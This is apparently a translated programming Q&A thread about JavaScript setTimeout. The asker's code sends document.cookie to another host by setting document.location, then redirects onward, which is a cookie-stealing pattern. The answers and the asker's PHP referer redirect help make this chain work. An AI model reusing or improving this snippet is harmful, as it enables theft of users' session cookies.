javascript中的Settimeout问题

时间:2014-01-17 00:32:59

标签: javascript

我正在努力让以下代码工作。但它不会:(。

我已经测试了超时并且它工作正常(代码行2),但第一行不能工作:(,任何指导都将不胜感激。

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);

我在firebug控制台内测试(顺便说一下)

3 个答案:

答案 0 :(得分:3)

更改document.location会立即导航到另一个页面。

setTimeout要求使用新函数(“string”)(不推荐)构造字符串,使用函数指针(推荐)或匿名函数(推荐)。

您可以发送如下匿名函数:

setTimeout(function(){document.location='http://site/site/newpage'},500);

答案 1 :(得分:0)

将其封装在匿名函数中。

setTimeout(function() { document.location.href ='http://etc/etc/';},500);

(不要忘记href,或者使用window.location)

答案 2 :(得分:0)

即使是在着陆页上重定向,感谢所有帮助

  if ($referer == TRUE){
 header( 'Location: ' .$referer) ;
 }else {
     header('Location: ' .$url[$urladdon]);
 }
}